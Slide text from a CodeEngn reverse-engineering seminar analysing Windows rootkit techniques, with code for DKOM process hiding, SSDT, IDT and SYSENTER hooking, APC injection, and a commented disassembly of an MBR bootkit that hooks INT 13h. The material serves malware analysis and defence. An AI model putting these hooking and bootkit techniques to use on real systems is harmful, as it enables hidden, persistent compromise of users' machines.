  • 12. ETHREAD KTHREAD EPROCESS EPROCESSEPROCESS KPROCESS KPROCESSKPROCESS A.EXE - PsGetCurrentProcess() mov eax, fs:0x00000124 mov eax, [eax + 0x44] - KPCR (Kernel Processor Control Region) mov eax, fs:0x00000000 // KPCR mov eax, [eax + 0x20] // KPRCB (Kernel Processor Control Block) mov eax, [eax + 0x4] // KTHREAD - EPROCESS mov eax, KTHREAD mov eax, [eax + 0x44] - LIST_ENTRY pList = (PLIST_ENTRY)[EPROCESS+0x88]; // Over WinXP *((DWORD*)pList->Blink) = (DWORD)pList->Flink; *((DWORD*)pList->Flink+1) = (DWORD)pList->Blink; pList->Flink = (LIST_ENTRY*)&(pList->Flink); pList->Blink = (LIST_ENTRY*)&(pList->Flink); 3rd CodeEngn ReverseEngineering Seminar
  • 14. Attack Send SpamMail Receive the Mail with Trojan (EXE, DOC, PPT, JPG, WMF, …) [ SPECIAL FEATURE ] I. SSDT(System Service Descriptor Table) Hooking II. Detour Patch, Trampoline III. IDT(Interrupt Descriptor Table) Hooking IV. SYSENTER Hooking 3rd CodeEngn ReverseEngineering Seminar
  • 15. Windows Application WriteFile In Kernel32.dll NtWriteFile In ntdll.dll Dispatch Table *Func 0 *Func 1 *Func 2 . . . Service Routine In ntoskrnl.exe Userland Kernel EAX – Service Number or Index EDX – Parameter Address API In User32.dll/Gdi32.dll Dispatcher In Ntoskrnl.exe, Win32k.sys Service Routine In Win32k.sys 참조 INT 0x2E or SYSENTER Dispatch ShadowTable *Func 0 *Func 1 *Func 2 . . . 3rd CodeEngn ReverseEngineering Seminar
  • 16. 804AB3BF 804AE86B 804BDEF3 8050B034 804C11F4 … … 80459214ServiceCounterTable 00000000 NumberOfService F8 18 20 2C 2C 40 2C … … … KeServiceDescriptorTable System Service Dispatch Table (SSDT) System Service Parameter Table (SSPT) ZwCreateFile NewZwCreateFile Call 80459214 F0001234 OldZwXXX = (ZWXXX)(KeServiceDescriptorTable.ServiceTableBase[*(PULONG)((PUCHAR)ZwXXX+1)]); _asm { CLI MOV EAX, CR0 AND EAX, 0xFFFEFFFFh MOV CR0, EAX } (KeServiceDescriptorTable.ServiceTableBase[*(PULONG)((PUCHAR)ZwXXX+1)]) = (ULONG)HookZwXXX; _asm { MOV EAX, CR0 OR EAX, NOT 0xFFFEFFFFh MOV CR0, EAX STI } 3rd CodeEngn ReverseEngineering Seminar
  • 17. ¢ Detour Patch FAR JMP Original Function ROOTKIT CODE Removed Instructions FAR JMP (back) Trampoline 55 8B EC 53 33 DB 38 5D 24 EA AA AA AA AA 08 00 90 90 55 PUSH EBP 8BEC MOV EBP, ESP 53 PUSH EBX 33DB XOR EBX, EBX 385D24 CMP [EBP+24], BL FAR JMP 3rd CodeEngn ReverseEngineering Seminar
  • 18. Typedef struct { WORD IDTLimit; WORD LowIDTbase; WORD HiIDTbase; } IDTINFO; Typedef struct { WORD LowOffset; WORD selector; BYTE unused_lo; unsigned char unused_hi:5; unsigned char DPL:2; unsigned char P:1; WORD HiOffset; } IDTENTRY; _asm { SIDT idtinfo } idtentry = (IDTENTRY*)MAKELONG( idtinfo.LowIDTbase, idtinfo.HiIDTbase ); int2e = &(idtentry[NT_SYSTEM_SERVICE_INT]); _asm { CLI LEA EAX,MyKiSystemService MOV EBX,int2e MOV [EBX],AX SHR EAX,16 MOV [EBX+6],AX STI } 3rd CodeEngn ReverseEngineering Seminar
  • 19. § MSRs (Model-Specific Registers) The model-specific registers (MSRs) that can be read with the RDMSR and written with the WRMSR instructions. § IA32_SYSENTER_EIP (0x176) The virtual address of the kernel-mode entry point that code should begin executing at once the transition has completed. __asm{ mov ecx, 0x176 rdmsr mov OrgSysenter, eax mov eax, HookSysenter wrmsr } 3rd CodeEngn ReverseEngineering Seminar
  • 20. § ZwQuerySystemInformation - Hide Process - Get Loaded System Module List § ZwOpenKey, ZwQueryKey, ZwCreateKey, ZwEnumerateKey - Hide Registry § ZwSaveKey, ZwDeviceIoControlFile - Restore & Backup Registry § ZwQueryDirectoryFile - Hide File § ZwTerminateProcess - No kill Process § ZwOpenFile, ZwCreateSection - Redirection 3rd CodeEngn ReverseEngineering Seminar
  • 22. Worm Virus Subnet Scanning & Attack [ SPECIAL FEATURE ] I. NTFS ADS(Alternate Data Stream) Hiding II. File System Filtering III. Network System Filtering IV. Keyboard Filtering 3rd CodeEngn ReverseEngineering Seminar
  • 24. Application Program Attach Filter I/O Manager Fast I/O Cache Manager File System Driver Disk Driver Disk Driver Disk Driver C: D: E: B.SYS KernelMode UserMode Physical Device 3rd CodeEngn ReverseEngineering Seminar
  • 25. Msafd.dll Protocol Drivers (Tcpip.sys) NDIS Miniport Driver NDIS.sys NDIS Library Function NIC Device NDIS Intermediate Driver TDI Drivers (Tdi.sys) Ws2_32.dll Application Program Attach FilterB.SYS KernelMode UserMode Physical Device 3rd CodeEngn ReverseEngineering Seminar
  • 26. Application Program Attach Filter I/O Manager High Level Driver Low Level Driver Completion Routine KernelMode UserMode Keyboard Shared Memory Logging Thread Physical Device 3rd CodeEngn ReverseEngineering Seminar
  • 28. Web Surfing (Home PC) Autorun (Company PC) P2P worm (USB Memory) [ SPECIAL FEATURE ] I. Create UserMode APC Thread II. Infected NDIS.SYS III. Injected System Processes IV. Is not File, Registry, Process 3rd CodeEngn ReverseEngineering Seminar
  • 30. Process A ThreadMDL Driver A Kernel Mode NonPaged Memory User Mode Paged Virtual Memory Memory Mappin g 1. KeGetCurrentThread … 2. ExAllocatePool … 3. IoAllocateMdl … 4. KeStackAttachProcess … 5. MmMapLockedPagesSpecifyCac he … 6. KeInitialzeApc … 7. KeInsertQueueApc Call Stack APC_LEVEL Thread 3rd CodeEngn ReverseEngineering Seminar
  • 31. Process A Thread Kernel Mode NonPaged Memory User Mode Paged Virtual Memory Memory Copy 1. ZwOpenProcess … 2. ZwAllocateVirtualMemory … 3. memcpy … 4. KeStackAttachProcess … 5. KeInitialzeApc … 6. KeInsertQueueApc Call Stack APC_LEVEL Driver A Thread 3rd CodeEngn ReverseEngineering Seminar
  • 32. Process A Thread Thread Driver A Kernel Mode NonPaged Memory User Mode Paged Virtual Memory Memory Copy 1. PsLoopupProcessByProcessId … 2. KeAttachProcess … 3. GetUserMode *PEB … 4. NtAllocateVirtualMemory … 5. KeUserModeCallBack … 6. KeDetachProcess Call User32.dll Driver A Thread Call Win32k.sys Fs:[0x124] ; KTHREAD Kthread->Teb ; TEB TEB->ProcessEnvironmentBlock ; PEB PEB->KernelCallbackTable ; Win32k.sys Table 3rd CodeEngn ReverseEngineering Seminar
  • 33. Services.exe DLL Thread Driver A Kernel Mode NonPaged Memory User Mode Paged Virtual Memory Memory Copy Win32/Dnis.B Encoded A Encoded B NDIS.SYS SpamDriver Call Stack APC_LEVEL DLL Drop Drop 3rd CodeEngn ReverseEngineering Seminar
  • 35. Crack Software Illegal Copy Spy&Addware P2P Software Exploit Drop Malware Download [ SPECIAL FEATURE ] I. Infected Disk MBR, Unpartitioned Sector II. BIOS INT 13h Hooking III. Boot time Loading IV. Is not File, Registry, Process V. Hide Infected MBR 3rd CodeEngn ReverseEngineering Seminar
  • 36. System Power On BIOS (ROM) – Select Boot Device, Read Device’s MBR into Memory, Execute MBR (Disk) – Scan the Bootable Partition, Read Partition Boot Sector Ntldr (Osloader.exe) – From real-mode to protected-mode Ntoskrnl.exe Hal.dll Smss.exe (Session Manager SubSystem) Win32k.sys Csrss.exe (Client Server Runtime SubSystem) Winlogon.exe Services.exe Lsass.exe Msgina.dll (Local Security Authentication SubSystem) 3rd CodeEngn ReverseEngineering Seminar
  • 37. ROM BIOS ( ColdBoot CS:IP=FFFF:0000) Interrupt Vector Table (0000:0000 ~ 0000:03FF) BIOS Data Area (0000:0400 ~ 0000:04FF) Conventional Memory (0000:0000 ~ A000:0000) 640 Kbyte 3rd CodeEngn ReverseEngineering Seminar
  • 38. 446 Byte 64 Byte 2 Byte Boot code Partition Table Magic Number MBR = 0 Sector (512 Byte) Partition 1 Partition 2 Partition 3 Partition 4 Boot Partition Boot Sector Extended partition boot recordMBR Partitions within an extended partition 3rd CodeEngn ReverseEngineering Seminar
  • 39. Overwrite MBR Hook INT 13h Original MBR (Sector 62) 1. Partition Table (0x1BE) 2. Partition Table (0x1CE) 3. Partition Table (0x1DE) 4. Partition Table (0x1EE) Signature 3rd CodeEngn ReverseEngineering Seminar
  • 40. [ BEGIN: 0000:7C00 ] 0000:7C00 FA CLI disable interrupt 0000:7C01 33C0 XOR AX,AX AX= 0000 0000:7C03 8ED0 MOV SS,AX SS = 0000 0000:7C05 BC007C MOV SP,7C00 SP = 7C00 0000:7C08 8BF4 MOV SI,SP SI = 7C00 0000:7C0A 50 PUSH AX 0000:7C0B 07 POP ES ES = 0000 0000:7C0C 50 PUSH AX 0000:7C0D 1F POP DS DS = 0000 0000:7C0E FB STI allow interrupt 0000:7C0F FC CLD clear direction 0000:7C10 BF0006 MOV DI,0600 DI = 0600 0000:7C13 B90001 MOV CX,0100 CX = 0x100(256 words) 0000:7C16 F2 REPNZ move MBR from 0000:7c00 0000:7C17 A5 MOVSW to 0000:0600 0000:7C18 EA1D060000 JMP 0000:061D jmp to NEW_LOCATION 3rd CodeEngn ReverseEngineering Seminar
  • 41. [ NEW_LOCATION: 0000:061D ] 0000:061D BEBE07 MOV SI,07BE 0600 + 01BE(1’st Partition Table) 0000:0620 B304 MOV BL,04 Maximum Table Size = 4 [ SEARCH_LOOP1: SEARCH FOR AN ACTIVE PARTITION ENTRY ] 0000:0622 803C80 CMP BYTE PTR [SI],80 Active Boot Partition? 0000:0625 740E JZ FOUND_ACTIVE yes 0000:0627 803C00 CMP BYTE PTR [SI],00 Inactive Boot Partition? 0000:062A 751C JNZ NOT_ACTIVE no 0000:062C 83C610 ADD SI,+10 Next Partition Table 0000:062F FECB DEC BL Decrease Table Size 0000:0631 75EF JNZ SEARCH_LOOP1 Loop 0000:0633 CD18 INT 18 GO TO ROM BASIC [ FOUND_ACTIVE: FOUND THE ACTIVE ENTRY ] 0000:0635 8B14 MOV DX,[SI] HardDisk(0x80) for INT 13 0000:0637 8B4C02 MOV CX,[SI+02] Start Sector for INT 13 0000:063A 8BEE MOV BP,SI BP = Partition Table ptr [ SEARCH_LOOP2: MAKE SURE ONLY ONE ACTIVE ENTRY ] 0000:063C 83C610 ADD SI,+10 Next Partition Table 0000:063F FECB DEC BL Decrease Table Size 0000:0641 741A JZ READ_BOOT jmp if end of table 0000:0643 803C00 CMP BYTE PTR [SI],00 Inactive Boot Partition? 0000:0646 74F4 JZ SEARCH_LOOP2 yes 3rd CodeEngn ReverseEngineering Seminar
  • 42. [ NOT_ACTIVE: MORE THAN ONE ACTIVE ENTRY FOUND ] 0000:0648 BE8B06 MOV SI,068B display "Invld prttn tbl" [ DISPLAY_MSG: DISPLAY MESSAGE LOOP ] 0000:064B AC LODSB get char of message 0000:064C 3C00 CMP AL,00 end of message 0000:064E 740B JZ HANG yes 0000:0650 56 PUSH SI save SI 0000:0651 BB0700 MOV BX,0007 screen attributes 0000:0654 B40E MOV AH,0E output 1 char of message 0000:0656 CD10 INT 10 to the display 0000:0658 5E POP SI restore SI 0000:0659 EBF0 JMP DISPLAY_MSG do it again [ HANG: HANG THE SYSTEM LOOP ] 0000:065B EBFE JMP HANG sit and stay! [ READ_BOOT: READ ACTIVE PARITION BOOT RECORD ] 0000:065D BF0500 MOV DI,0005 INT 13 retry count 3rd CodeEngn ReverseEngineering Seminar
  • 43. [ INT13RTRY: INT 13 RETRY LOOP ] 0000:0660 BB007C MOV BX,7C00 ES:BX = read buffer 0000:0663 B80102 MOV AX,0201 Read 1 sector (AH=02h,AL=01h) 0000:0666 57 PUSH DI save DI 0000:0667 CD13 INT 13 INT 13h AH 02h 0000:0669 5F POP DI restore DI 0000:066A 730C JNB INT13OK jmp if no INT 13 0000:066C 33C0 XOR AX,AX call INT 13 and 0000:066E CD13 INT 13 do disk reset 0000:0670 4F DEC DI decr DI 0000:0671 75ED JNZ INT13RETRYif not zero, try again 0000:0673 BEA306 MOV SI,06A3 display "Errr ldng systm" 0000:0676 EBD3 JMP DISPLAY_MSG jmp to display loop [ INT13OK: INT 13 ERROR ] 0000:0678 BEC206 MOV SI,06C2 "missing op sys" 0000:067B BFFE7D MOV DI,7DFE point to signature 0000:067E 813D55AA CMP WORD PTR [DI],AA55 Signature Correct? 0000:0682 75C7 JNZ DISPLAY_MSG no 0000:0684 8BF5 MOV SI,BP set SI 0000:0686 EA007C0000 JMP 0000:7C00 JUMP TO THE BOOT SECTOR 3rd CodeEngn ReverseEngineering Seminar
  • 44. [ BEGIN: 0000:7C00 ] 0000:7C00 FA CLI 0000:7C01 33DB XOR BX,BX BX=0000 0000:7C03 8ED3 MOV SS,BX SS=0000 0000:7C05 368926FE7B MOV SS:[7BFE],SP Store SP 0000:7C0A BCFE7B MOV SP,7BFE SP=7BFE 0000:7C0D 1E PUSH DS 0000:7C0E 6660 PUSHAD 0000:7C10 FC CLD 0000:7C11 8EDB MOV DS,BX DS=0000 0000:7C13 BE1304 MOV SI,0413 0040h:0013h - base memory size 0000:7C16 832C02 SUB WORD PTR [SI],02 2Kbyte (2048 = 4Sector) 0000:7C19 AD LODSW AX=memory Size 0000:7C1A C1E006 SHL AX,06 0000:7C1D 8EC0 MOV ES,AX 0000:7C1F BE007C MOV SI,7C00 SI=7C00 0000:7C22 33FF XOR DI,DI DI=0000 0000:7C24 B90001 MOV CX,0100 1 Sector (100h Word) 0000:7C27 F3A5 REPZ MOVSW DS:SI to ES:DI 3rd CodeEngn ReverseEngineering Seminar
  • 45. 0000:7C29 B80202 MOV AX,0201 read sector Size 1 (AH=2,AL=1) 0000:7C2C B13D MOV CL,3D CL=61 sector 0000:7C2E BA8000 MOV DX,0080 DL=80 Hard Disk 0000:7C31 8BDF MOV BX,DI ES:BX=ES:0000 Read Buffer 0000:7C33 CD13 INT 13 0000:7C35 33DB XOR BX,BX BX=0000 0000:7C37 668B474C MOV EAX,DS:[BX+4C] INT 13h Vector Table 0000:7C3B 6626A37300 MOV ORG_INT13,EAX Backup INT 13h 0000:7C40 C7474C6600 MOV WORD PTR [BX+4C],0066 0000:7C45 8C474E MOV [BX+4E],ES Hook 0000:7C48 06 PUSH ES 0000:7C49 684D00 PUSH 004D 0000:7C4B CB RETF [ READ ORIGINAL MBR : ES:004D ] 0000:7C4D FB STI 0000:7C4E 8EC3 MOV ES,BX ES=0000 0000:7C50 B80102 MOV AX,0201 read sector Size 1 0000:7C53 B93F00 MOV CX,003E CL=62 sector 0000:7C56 BA8000 MOV DX,0080 DL=80 Hard Disk 0000:7C59 B77C MOV BH,7C ES:BX=0000:7C00 read Buffer 0000:7C5B CD13 INT 13 0000:7C5D 6661 POPAD 0000:7C5F 1F POP DS 0000:7C60 5C POP SP 0000:7C61 EA007C0000 JMP 0000:7C00 Jmp Original MBR 3rd CodeEngn ReverseEngineering Seminar
  • 46. [ Hooked INT 13h Handler ] 0000:7C66 9C PUSHF 0000:7C67 80FC42 CMP AH,42 0000:7C6A 740B JZ 7C77 Extended Read? 0000:7C6C 80FC02 CMP AH,02 0000:7C6F 7406 JZ 7C77 Sector Read? 0000:7C71 9D POPF 0000:7C72 EAXXXXXXXX JMP ORG_INT13 Jmp Original INT 13h [ READ ORIGINAL MBR : ES:004D ] 0000:7C77 2E88269000 MOV STOREAH,AH 0000:7C7C 9D POPF 0000:7C7D 9C PUSHF 0000:7C7E 2EFF1E7300 CALL ORG_INT13 Call Original INT 13h 0000:7C83 0F829D00 JB 7D24 0000:7C87 9C PUSHF 0000:7C88 FA CLI 0000:7C89 06 PUSH ES 0000:7C8A 6660 PUSHAD 0000:7C8C FC CLD 0000:7C8D B400 MOV AH,00 AH = 00 0000:7C8F B5XX MOV CH, STOREAH CH = STOREAH 0000:7C91 80FD42 CMP CH,42 Extended Read? 0000:7C94 7504 JNZ 7C9A 3rd CodeEngn ReverseEngineering Seminar
  • 47. § Dropper MBR Rootkit - Overwrite HardDisk Sector 0, 61, 62 & Unpartitioned Sectors § MBR - Real Mode - Read Sector 61, 62 - Hook INT 13h § Partition Boot Sector - Real Mode - Read First 16 Sector § Windows Boot Loader - Real Mode - Load & Execute Ntldr § NTOSKRNL.EXE - 32 Protected Mode - Hook IoInitSystem - Load & Execute Rootkit Driver § Hide MBR - Hook DriverDisk IRP_MJ_READ, IRP_MJ_WRITE 3rd CodeEngn ReverseEngineering Seminar
  • 49. § Use Kernel Debugger - UserMode : Olly, IDA, Windbg, Softice, TRW … - KernelMode : Windbg, Softice … § Breakpoint -Kernel API (Ex, IoCreateDevice, IoCreateSymbolicLink, …) - EntryPoint (PE->IMAGE_OPTIONAL_HEADER->Checksum) - DispatchRoutine, DPC, APC, CallBack … § SCM (Service Control Manager) - OpenSCManager, CreateService, StartService … § Polymorphic / PE Patch / Encode - Modify PE Header (ExportTable, ImportTable, IMAGE_OPTIONAL_HEADER- >Subsystem) 3rd CodeEngn ReverseEngineering Seminar